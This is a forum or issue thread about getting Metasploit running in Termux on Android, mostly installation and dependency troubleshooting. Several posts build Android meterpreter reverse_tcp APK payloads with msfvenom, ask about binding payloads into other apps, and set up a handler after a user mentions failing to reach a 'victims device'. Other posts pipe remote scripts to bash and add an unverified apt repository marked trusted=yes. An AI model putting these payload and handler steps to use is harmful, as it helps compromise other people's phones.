@Deathlive do you ever try installing rbnacl-libsodium without termux-chroot ?

@kuburan Yes I tried, but did not help.

Can anyone get the "msfvenom -x apktobind.apk -p ....." command working ? need it for binding

msfvenom is working bro first cd into metasploit directory then you can
execute msfvenom by ./msfvenom

You need apktool, keytool and jarsigner for msfvenom -x

how to get keytool and jarsigner ? i somehow got java

Ok guys, after a lot of PAIN I finally find why some of us got a segmentation fault when starting msfconsole.
I try both automatic install (metasploit.sh and metasploit_test.sh) and also the manual one describe on the wiki. I also try the @timwr method describe here, but it always end up with a f#cking segfault when starting msf. (each try with a fresh install of Termux)

But this morning, dont-know-which-god show me the path.
So, I install metasploit with metasploit.sh in a fresh install of Termux. No problems with the installation and got my dear segfault when starting msfconsole.
Then, I try starting it without loading the modules : ./msfconsole --defer-module-loads and it WORKS!!
When trying to load the modules inside msf with loadpath modules/, got my segfault again.
After that, I remove everything inside modules/ except exploits/ to only load the exploits modules and it works.
So after a little isolation game I find that the problem come from a module in auxiliary/gather/ but cause I'm a lazy b#tch, I didn't take the time to find which one is responsible of the segmentation fault.
I will continue my searching and make a proper how-to when I know more.
(Btw, big thx to @Auxilus and @timwr for their work and sorry for my bad english)

Nice work @segfaultmylove ! I'll see if I can isolate that directory from loadpath.btw please make sure to post what was causing the segfault ( which rb script from gather dir ) if you find it.

I found it ! It's this one: modules/auxiliary/gather/http_pdf_authors.rb
If remove, msfconsole works like a charm.
Apparently, it uses nokogiri to work. May be it's the cause..?

Nokogiri dependency is removable if it's causing the segfault, cz I've used metasploit-framework without nokogiri

Ill put code to delete modules/auxiliary/gather/http_pdf_authors.rb in test script.

@segfaultmylove can you test https://raw.githubusercontent.com/Auxilus/Auxilus.github.io/master/metasploit.sh and see if it's still giving segfault

@Auxilus It works ! No segfault anymore!

Nice!

Ty for testing..

@Auxilus My pleasure!
@Deathlive @ChristianCarvs you should try the new version of the installation script to see if it solve your segfault too.

I got a non-fatal error when starting msfconsole:
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so: unused DT entry: type 0xf arg 0x16ba

I fix it using the termux-elf-cleaner:

pkg install termux-elf-cleaner
termux-elf-cleaner /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so

@segfaultmylove Well done)
Thanks. Everything works excellent.

Remains The last problem, how to automatically connect the database at start msf ?

@Deathlive I'll work on that as soon as I get a little free..

@Deathlive, you need to create a configuration file (metasploit-framework/config/database.yml).

Example:

production:
    adapter: postgresql
    database: msf_database
    username: msf
    password: msf
    host: 127.0.0.1
    port: 5432
    pool: 75
    timeout: 5

@Deathlive I've added code for database in metasploit-framework, see if it's working
cd $HOME;curl -L https://Auxilus.github.io/metasploit.sh | bash

@Auxilus
I'm sorry, at me a problem with Termux, the I won't be able to learn whether your code works.
But it seems like it should work.
if we did not create a password for msf, then we should output password: msf in database.yml?

@Deathlive I've tried the script and looks like it works..

@Auxilus
using manuelle installation from the wiki . got a problem with bundler gem installation .


$ gem install bundler
Segmentation fault


Need help . thanks

@0v3rfl00w can you try

apt update && apt upgrade

And see if it still gives the error?

@Auxilus
the issue persisted . everything was updated before running "apt update && apt upgrade"

@0v3rfl00w can you try the automatic installation see, if it gives error

@Auxilus
Same problem with automatic installation :


./metasploit.sh: line 15: 23679 Segmentation fault gem install bundler
./metasploit.sh: line 18: 23682 Segmentation fault gem install nokogiri -- --use-system-libraries
./metasploit.sh: line 21: 23695 Segmentation fault gem unpack grpc -v 1.4.1
./metasploit.sh: line 22: cd: grpc-1.4.1: No such file or directory
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 69483 100 69483 0 0 69483 0 0:00:01 --:--:-- 0:00:01 74472
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 911 100 911 0 0 227 0 0:00:04 0:00:04 --:--:-- 216
patching file src/ruby/ext/grpc/extconf.rb
patch: can't open 'src/ruby/ext/grpc/extconf.rb': No such file or directory
./metasploit.sh: line 26: 23722 Segmentation fault gem build grpc.gemspec
./metasploit.sh: line 27: 23728 Segmentation fault gem install grpc-1.4.1.gem
rm: cannot remove 'grpc-1.4.1': No such file or directory
./metasploit.sh: line 33: bundle: command not found


$ gem install bundler
Fetching: bundler-1.15.4.gem (100%)
Successfully installed bundler-1.15.4
1 gem installed
$ gem install nokogiri -- --use-system-libraries
Building native extensions with: '--use-system-libraries'
This could take a while...
Successfully installed nokogiri-1.8.0
1 gem installed
$ gem unpack grpc
Fetching: grpc-1.6.0.gem (100%)
Unpacked gem: '/storage/3861-6531/Android/data/com.termux/youtube/grpc-1.6.0'
$

Android 6.0.1 aarch64

Gem::Ext::BuildError: ERROR: Failed to build gem native extension. #969 on Android arm is closed. But if you're on arm, please feel free to reopen this issue. This issue with bundler is not seg fault though. @0v3rfl00w is your device rooted?

Ruby Error - Segmentation Fault on 32-bit arm #1520 should be worth looking into if you are using arm too.

@sdrausty
My device is rooted android 7.1.2 32 bit arm
I will take a look into this #1520
Thanks
img_20170918_093101

1520

The ruby problem on arm 32 bit is fixed by using "pkg up" and update ruby to version 2.4.2-2

download this using a browser https://goo.gl/Aok9sr

then go to termux

cd /sdcard
cd Download
tar xzvf termux-files-aarch64.tar.gz -c /data/data/com.termux/

enjoy!

then that's it simply run msfconsole or msfvenom to generate a rat

also moaxwell add metasploit to the repository so people can enjoy it

sorry -C not -c

still have problem using lazy script:
--with-zlib-include
--without-zlib-include=${zlib-dir}/include
--with-zlib-lib
--without-zlib-lib=${zlib-dir}/lib
--enable-cross-build
--disable-cross-build
/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/mini_portile2-2.3.0/lib/mini_portile2/mini_portile.rb:380:in spawn': No such file or directory - ./configure (Errno::ENOENT) from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/mini_portile2-2.3.0/lib/mini_portile2/mini_portile.rb:380:inblock in execute'
from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/mini_portile2-2.3.0/lib/mini_portile2/mini_portile.rb:373:in chdir' from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/mini_portile2-2.3.0/lib/mini_portile2/mini_portile.rb:373:inexecute'
from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/mini

Problem solved by unzip file provided by imad61

The last script worked fine but I had to edit

gem install nokogiri -- --use-system-libraries

To

gem install nokogiri -v '1.8.0' -- --use-system-libraries

Because it installs the last version which is 1.8.1.

Oh and the wget does not work for some reason.

I had to use.
Pkg install curl
Curl -LO https://Auxilus.github.io/metasploit.sh
Bash metasploit.sh

Good job termux team, keep it up

@fox564 you need to install wget from repository by pkg install wget as by default termux uses wget from busybox which has limited functionality.

hello guys, i'm done rebuilding john the ripper for termux.
now you can use :
auxiliary/analyze/jtr_aix
auxiliary/analyze/jtr_crack_fast
auxiliary/analyze/jtr_linux
auxiliary/analyze/jtr_mssql_fast
auxiliary/analyze/jtr_mysql_fast
auxiliary/analyze/jtr_oracle_fast
auxiliary/analyze/jtr_postgres_fast

the default john configuration file for metasploit is located in metasploit-framework/data/john.conf

you can download john at my branch.

$ wget https://kuburan.github.io/JtR-jumbo.tar.xz
$ tar -xvJf JtR-jumbo.tar.xz

for installation steps, please read install-termux.txt file

@fox564 try to use bundler, it fix in my case.

$ cd metasplot-framework
$ bundle config build.nokogiri --use-system-libraries
$ bundle install

Msfupdate does not work so how do you update exploits?

Right now the only way is to install the whole new version of metasploit-framework

@Auxilus wich script should I use for that?

@Auxilus just asking because there seems to be a bit of confusion with people suggesting different fixes

Follow instructions at wiki.termux.com, just change the version to something that you want to install.. ( follow manual installation not automatic )

@Auxilus Ok thank you

$ msfconsole
[*] Metasploit requires the Bundler gem to be installed
$ gem install bundler
$ gem install bundler
Segmentation fault

Hi I have a problem like this can you help me ?

@goccikcan are you running it on 32bit device? can you please give output of uname -a?

Linux localhost 3.10.61-8208732 #1 SMP PREEMPT Thu Mar 30 17:02:11 KST 2017 armv8l Android

[Code]./msfconsole
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so: unused DT entry: type 0xf arg 0x1693
[-] Failed to connect to the database: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 5432?

[*] Starting the MEtasploit Framework console...-[/code]
@Auxilus bro this error generates with automations script

Seems to me that you are not using the latest version of the script?

@Ashish882 can you please try out

cd $HOME/metasploit-framework/config
curl -LO https://Auxilus.github.io/database.yml
mkdir -p $PREFIX/var/lib/postgresql
initdb $PREFIX/var/lib/postgresql
pg_ctl -D $PREFIX/var/lib/postgresql start
createuser msf
createdb msf_database

The WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so: unused DT entry: type 0xf arg 0x1693 error can be fixed by

termux-elf-cleaner /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so

@Auxilus as this time error is deffirent
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so: unused DT entry: type 0xf arg 0x1693
FATAL: role "msf" does not existwork console...-
FATAL: role "msf" does not exist
FATAL: role "msf" does not exist
[-] Failed to connect to the database: FATAL: role "msf" does not exist

I resolved it other but database is not connecting

the error role "msf" does not exist FATAL: role "msf" does not exist [-] Failed to connect to the database: FATAL: role "msf" does not exist means that username msf is non-existant.

run

createuser msf

and try running metasploit again..

Ohh thanks auxilues

After manually installing metasploit by cloning the repository can i update with "git pull"? Can I break the installation by doing so?

@FTC55 haven't tried it yet,

guys i have this problem... i downloaded... all the files i needed but when i try to run ./msfconsole..

Could not find network_interface-0.0.1 in any of the sources
Run 'bundle install' to install missing gems.
i've already tryied gem install network_interface -v 0.0.1 and bundle install
any ideas?

@Deviathan did you use latest script? Also which script you used? Which version of metasploit-framework?

network_interface 0.0.1 won't install without patch
The thing is, we don't need that version anymore

@Auxilus ok i will try with the latest version...and if i still have this problem i will contact you!

BTW for latest metasploit you can install network_interface just by gem install network_interface

Need help
$ cd
$ ls
4.16.11.tar.gz
hammer
metasploit-framework
metasploit-framework-4.16.2
metasploit.sh
metasploit.sh.1
storage
termux-ubuntu
$ cd metasploit-framework-4.16.2
$ ls
CODE_OF_CONDUCT.md
CONTRIBUTING.md
external
lib
metasploit-framework.gemspec
modules
msfconsole
msfd
msfrpc
msfrpcd
msfupdate
msfvenom
plugins
rbnacl-libsodium-1.0.13
script
scripts
spec
test
tools
$ ./msfconsole
bash: ./msfconsole: /usr/bin/env: bad interpreter: No such file or directory

Need help
$ cd
$ ls
4.16.11.tar.gz
hammer
metasploit-framework
metasploit-framework-4.16.2
metasploit.sh
metasploit.sh.1
storage
termux-ubuntu
$ cd metasploit-framework-4.16.2
$ ls
CODE_OF_CONDUCT.md
CONTRIBUTING.md
external
lib
metasploit-framework.gemspec
modules
msfconsole
msfd
msfrpc
msfrpcd
msfupdate
msfvenom
plugins
rbnacl-libsodium-1.0.13
script
scripts
spec
test
tools
$ ./msfconsole
bash: ./msfconsole: /usr/bin/env: bad interpreter: No such file or directory

@Jeep70-h
$PREFIX/bin/find -type f -executable -exec termux-fix-shebang \{\} \;

Metasploit and additions are available on device through https://sdrausty.github.io/TermuxArch/

See https://sdrausty.github.io/TermuxArch/docs/install for details.

screenshot_20171206-170057

msfvenom -P android/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 R> /sdcard/aaa.apk
Error: Invalid option
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /data/data/com.termux/files/usr/bin/msfvenom [options]

@aniketstark yes i also experienced the same thing, is there anything that can help?

How to fix this auxilus
msfvenom -P android/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 R> /sdcard/aaa.apk
Error: Invalid option
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /data/data/com.termux/files/usr/bin/msfvenom [options]

Try -p (lowercase) not -P ?

msfvenom -P android/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 R> /sdcard/aaa.apk
Error: Invalid option
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /data/data/com.termux/files/usr/bin/msfvenom [options]

msfvenom -P android/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 R> /sdcard/aaa.apk
Error: Invalid option
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /data/data/com.termux/files/usr/bin/msfvenom [options]

As @timwr said, use -p

pg_ctl -D $PREFIX/var/lib/postgresql start
pg_ctl: another server might be running; trying to start server anyway
waiting for server to start....2018-01-01 13:04:48.301 IST [916] FATAL: lock file "postmaster.pid" already exists
2018-01-01 13:04:48.301 IST [916] HINT: Is another postmaster (PID 848) running in data directory "/data/data/com.termux/files/usr/var/lib/postgresql"?
stopped waiting
pg_ctl: could not start server
Examine the log output.

Can you check what process is running on PID given in the error? (in above error its 848)

I can't use msfconsole and says me that use bundle install after running this command it shows red color error

when i am using some port forwarding tools then it show this error how i fix this

msf exploit(multi/handler) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[-] Handler failed to bind to 127.0.0.1:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Exploit completed, but no session was created.
msf exploit(multi/handler) >

Check if port 4444 is used: netstat -tuplna | grep 4444

why this getting errror

Traceback (most recent call last):
File "sshreachme.py", line 98, in
proc = subprocess.Popen(["whereis","pidof"], stdout=subprocess.PIPE)
File "/data/data/com.termux/files/usr/lib/python2.7/subprocess.py", line 390, in __init__
errread, errwrite)
File "/data/data/com.termux/files/usr/lib/python2.7/subprocess.py", line 1025, in _execute_child
raise child_exception
OSError: [Errno 2] No such file or directory

Getting this error on starting msfconsole

msfconsole
/data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:in parse': (/data/data/com.termux/files/home/metasploit-framework/config/database.yml): mapping values are not allowed in this context at line 9 column 25 (Psych::SyntaxError) from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:inparse_stream'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:325:in parse' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:252:inload'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:473:in block in load_file' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:inopen'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:in load_file' from /data/data/com.termux/files/home/metasploit-framework/lib/msf/ui/console/driver.rb:179:ininitialize'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in new' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:indriver'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/base.rb:82:instart'
from /data/data/com.termux/files/usr/bin/msfconsole:48:in `

'

@probe2k what version of metasploit-framework are you getting the error on?

I can't start msfconsole,either.

/data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:in parse': (/data/data/com.termux/files/home/metasploit-framework/config/database.yml): mapping values are not allowed in this context at line 9 column 25 (Psych::SyntaxError) from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:inparse_stream'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:325:in parse' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:252:inload'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:473:in block in load_file' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:inopen'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:in load_file' from /data/data/com.termux/files/home/metasploit-framework/lib/msf/ui/console/driver.rb:179:ininitialize'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in new' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:indriver'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/base.rb:82:instart'
from /data/data/com.termux/files/usr/bin/msfconsole:48:in `

'

@Auxilus hey, it's 4.16.21

Can you see if updating to 4.16.32 succeeds?

@Auxilus It's 4.16.2

This is new error for you

/data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:in parse': (/data/data/com.termux/files/home/metasploit-framework/config/database.yml): mapping values are not allowed in this context at line 9 column 25 (Psych::SyntaxError) from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:inparse_stream'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:325:in parse' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:252:inload'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:473:in block in load_file' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:inopen'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:in load_file' from /data/data/com.termux/files/home/metasploit-framework/lib/msf/ui/console/driver.rb:179:ininitialize'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in new' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:indriver'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/base.rb:82:instart'
from /data/data/com.termux/files/usr/bin/msfconsole:48:in `

'

when i type msfconsole this error give me

@aniketstark same problem solved here
https://github.com/termux/termux-packages/issues/2054

NEWS:

metasploit-framework is now available as an apt package!

I was able to create debfile for metasploit-framework, I'm hosting it on my repo
To enable the repo :

wget https://Auxilus.github.io/auxilus.key
apt-key add auxilus.key
echo "deb [trusted=yes,arch=all] https://Auxilus.github.io/ termux extras" >> $PREFIX/etc/apt/sources.list
pkg update
pkg install metasploit-framework

How do you update metasploit? msfupdate doesn't work.

PROBLEM:
msfconsole
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so: unused DT entry: type 0xf arg 0x1693

cowsay++
< metasploit >
—----------
\ ,,
\ (oo)____
() )
||--|| *

=[ metasploit v5.0.0-dev ]

— —=[ 1734 exploits - 990 auxiliary - 300 post ]
— —=[ 509 payloads - 40 encoders - 10 nops ]
— —=[ * This is Metasploit 5 development branch * ]
— —=[ Metasploit-framework ported to termux by @Auxilus]
/data/data/com.termux/files/usr/bin/msf/msfconsole: No such file or directory - infocmp
/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/rb-readline-0.5.5/lib/rbreadline.rb:1815:in get_term_capabilities': undefined methodsplit' for nil:NilClass (NoMethodError)
from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/rb-readline-0.5.5/lib/rbreadline.rb:2027:in _rl_init_terminal_io' from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/rb-readline-0.5.5/lib/rbreadline.rb:2564:inreadline_initialize_everything'
from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/rb-readline-0.5.5/lib/rbreadline.rb:3849:in rl_initialize' from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/rb-readline-0.5.5/lib/rbreadline.rb:4868:inreadline'
from /data/data/com.termux/files/usr/bin/msf/lib/rex/ui/text/input/readline.rb:162:in readline_with_output' from /data/data/com.termux/files/usr/bin/msf/lib/rex/ui/text/input/readline.rb:100:inpgets'
from /data/data/com.termux/files/usr/bin/msf/lib/rex/ui/text/shell.rb:189:in run' from /data/data/com.termux/files/usr/bin/msf/lib/metasploit/framework/command/console.rb:48:instart'
from /data/data/com.termux/files/usr/bin/msf/lib/metasploit/framework/command/base.rb:82:in start' from /data/data/com.termux/files/usr/bin/msf/msfconsole:48:in'

'

I used Auxilus repo.

Install the necessary packages and gem bundles.
@dodonchik try fetching the tar package from https://github.com/rapid7/metasploit-framework/archive/4.16.16.tar.gz and extract it.
Finally, symlink msf commands to the lib.
Perhaps the later version of metasploit is posing issues.

@dodonchik package readline is missing

pkg install readline

@Auxilus does not work anyway

Same error?

yes

I'm not sure what's wrong, the error seems to show that the readline is missing, I'll go through the issue once again...

@probe2k Sorry,can you give me a command what i should to do?

@dodonchik, I believe the error is somewhere due to the metasploit updated package. So, just download Auxilus's shell script and replace line 23 and 24 with these :

curl -LO https://gitHub.com/rapid7/metasploit-framework/archive/4.16.16.tar.gz

tar -xf $HOME/4.16.16.tar.gz

Now, save the script and run bash.

Or edit line number 13, and replace 4.16.21 with 4.16.16

try
apt install ncurses-utils
@dodonchik

@Hax4us are you sure ncurses is a dependency for metasploit-framework?

@Auxilus Bro i said only ncurses-utils (infocmp command is used in above error so ncurses-utils is required )

@Hax4us IT works!!!!!

Thanks you

@Hax4us gotcha

@Auxilus yh @dodonchik welcome

Aight, uploading updated debfile now, should be up in 10min

thats great

@Auxilus nokogiri is double, (v1.8.0 and v1.8.2) it wasted internet data by downloading both of them, and also bored to waiting installing nokogiri (both of them).coz installing with "--use-system-library" take time to long. so you can remove install nokogiri v1.8.0 in your "postinst" script. and change nokogiri to v1.8.2 in your "gemdeps" file.

Erorr:mfsconsole isn't starting! Help me please

/data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:in parse': (/data/data/com.termux/files/home/metasploit-framework/config/database.yml): mapping values are not allowed in this context at line 9 column 25 (Psych::SyntaxError) from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:inparse_stream'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:325:in parse' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:252:inload'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:473:in block in load_file' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:inopen'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:in load_file' from /data/data/com.termux/files/home/metasploit-framework/lib/msf/ui/console/driver.rb:179:ininitialize'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in new' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:indriver'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/base.rb:82:instart'
from ./msfconsole:48:in `

'

@Mohithchowdary
This error already solved here
https://github.com/termux/termux-packages/issues/2054

Hi.
Can someone tell me what is this

u0_a386@localhost ~/metasploit-framework>
./msfconsole
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/nokogiri-1.8.1/lib/nokogiri/nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xbb0
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/ffi-1.9.18/lib/ffi_c.so: unused DT entry: type 0x6ffffef5 arg 0xa18
[] Starting the Metasploit Framework console...[] Starting the Metasploit Framework console...[] Starting the Metasploit Framework console...[] starting the Metasploit Framework console...[] STarting the Metasploit Framework console...[] StArting the Metasploit Framework console...[*] StaRting the Metasploit Framework consol

After these two errors it's working

I downloaded it by using git clone

After ./msfconsole sometimes it loads and sometimes it doesn't.
I think this is nokogiri and psych related problems.

Sometimes i get this
./msfconsole
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/nokogiri-1.8.1/lib/nokogiri/nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xbb0
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/ffi-1.9.18/lib/ffi_c.so: unused DT entry: type 0x6ffffef5 arg 0xa18
[] Starting the Metasploit Framework console...[] Starting the Metasploit Framework console...[] Starting the Metasploit Framework console...[] starting the Metasploit Framework console...[] STarting the Metasploit Framework console...[] StArting the Metasploit Framework console...[] StaRting the Metasploit Framework console...[] StarTing the Metasploit Framework console...[] StartIng the Metasploit Framework console...[] StartiNg the Metasploit Framework console...[] StartinG the Metasploit Framework console...[] Starting the Metasploit Framework console...[] Starting The Metasploit Framework console...[] Starting tHe Metasploit Framework console...[] Starting thE Metasploit Framework console...[] Starting the Metasploit Framework console...[] Starting the metasploit Framework console...[] Starting the MEtasploit Framework console...[] Starting the MeTasploit Framework console...[] Starting the MetAsploit Framework console...[] Starting the MetaSploit Framework console...[] Starting the MetasPloit Framework console.../data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:in parse': (/data/data/com.termux/files/home/metasploit-framework/config/database.yml): mapping values are not allowed in this context at line 9 column 25 (Psych::SyntaxError) from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:inparse_stream'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:325:in `parse'

Sometimes, it tells me that the
Database.yml.mapping is some kind of error.

Confusing for newbies like me.

Help!

I was unable to access victims device
Suggest me what to do now

[-] Exploit failed: The following options failed to validate: LHOST.
[*] Exploit completed, but no session was created

Did you set LHOST before exploiting?

Yes! I did

What did you set it to?

sf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > get LHOST ip 10.XXX.0.XXX (privacy)
LHOST => ip 10.XXX.0.XXX
msf exploit(handler) > exploit

[-] Exploit failed: The following options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
msf exploit(handler) >

Looks like you are using WAN ip as LHOST, you need to use LAN ip, to perform reverse_tcp over WAN there are some extra stuff you need to do

LAN ip usually starts with 192.168.xx.xx

What to do now?

do ifconfig look for inetaddr under wlan0

I tried replacing database.yml
Is there any way to solve this problem

Failed to connect to the database: FATAL: role "msf" does not exist

And also

Failed to bind with the host

(What to do now ?)

Hey, I want to install all package in termux.Can anyone tell me how can I do that?

It's not working , give me a perfect link plzz

@Mohithchowdary
View this: https://github.com/gushmazuko/metasploit_in_termux

echo "Creating database"

cd $HOME/metasploit-framework/config
curl -LO https://raw.githubusercontent.com/gushmazuko/metasploit_in_termux/master/database.yml

mkdir -p $PREFIX/var/lib/postgresql
initdb $PREFIX/var/lib/postgresql

pg_ctl -D $PREFIX/var/lib/postgresql start
createuser msf
createdb msf_database

@SUMANNANI

give me a perfect link plzz

To add Archstrike and/or Blackarch distributions follow these steps:

Use https://sdrausty.github.io/TermuxArch/ to install, update and configure Arch Linux on device first.

Then edit your /etc/pacman.conf by adding either or both:

[archstrike]

Server = https://mirror.archstrike.org/$arch/$repo

[blackarch]

Server = http://blackarch.org/blackarch/$repo/os/$arch

Next run pacman -Syu to update your repository listing. To install either distribution, run one of these commands:

pacman -S archstrike –needed

pacman -S blackarch –needed

:: There are 663 members in group archstrike: ~2G download (~6G on device)

:: There are 1602 members in group blackarch: ~5G download (~16G on device)

That’s a lot of pentesting; Enjoy, and use your power wisely.

msfpayload android/meterpreter/reverse_tcp LHOST=(my IP) lport==4444 R>/sdcard/qwe.apk

msfpayload: command not found

Preparing to unpack .../43-libutil_0.3_aarch64.deb ...
Unpacking libutil (0.3) ...
Selecting previously unselected package libxml2.
Preparing to unpack .../44-libxml2_2.9.8_aarch64.deb ...
Unpacking libxml2 (2.9.8) ...
Selecting previously unselected package libxml2-dev.
Preparing to unpack .../45-libxml2-dev_2.9.8_aarch64.deb ...
Unpacking libxml2-dev (2.9.8) ...
Selecting previously unselected package libxslt.
Preparing to unpack .../46-libxslt_1.1.32_aarch64.deb ...
Unpacking libxslt (1.1.32) ...
Selecting previously unselected package libxslt-dev.
Preparing to unpack .../47-libxslt-dev_1.1.32_aarch64.deb ...
Unpacking libxslt-dev (1.1.32) ...
Selecting previously unselected package libyaml.
Preparing to unpack .../48-libyaml_0.1.7_aarch64.deb ...
Unpacking libyaml (0.1.7) ...
Selecting previously unselected package ncurses-dev.
Preparing to unpack .../49-ncurses-dev_6.1.20180317_aarch64.deb ...
Unpacking ncurses-dev (6.1.20180317) ...
Selecting previously unselected package ncurses-utils.
Preparing to unpack .../50-ncurses-utils_6.1.20180317_aarch64.deb ...
Unpacking ncurses-utils (6.1.20180317) ...
Selecting previously unselected package openssl-dev.
Preparing to unpack .../51-openssl-dev_1.0.2o_aarch64.deb ...
Unpacking openssl-dev (1.0.2o) ...
Selecting previously unselected package pkg-config.
Preparing to unpack .../52-pkg-config_0.29.2_aarch64.deb ...
Unpacking pkg-config (0.29.2) ...
Selecting previously unselected package postgresql.
Preparing to unpack .../53-postgresql_10.3_aarch64.deb ...
Unpacking postgresql (10.3) ...
Selecting previously unselected package postgresql-contrib.
Preparing to unpack .../54-postgresql-contrib_10.3_aarch64.deb ...
Unpacking postgresql-contrib (10.3) ...
Selecting previously unselected package postgresql-dev.
Preparing to unpack .../55-postgresql-dev_10.3_aarch64.deb ...
Unpacking postgresql-dev (10.3) ...
Selecting previously unselected package readline-dev.
Preparing to unpack .../56-readline-dev_7.0.3-2_aarch64.deb ...
Unpacking readline-dev (7.0.3-2) ...
Selecting previously unselected package ruby.
Preparing to unpack .../57-ruby_2.4.3_aarch64.deb ...
Unpacking ruby (2.4.3) ...
Selecting previously unselected package ruby-dev.
Preparing to unpack .../58-ruby-dev_2.4.3_aarch64.deb ...
Unpacking ruby-dev (2.4.3) ...
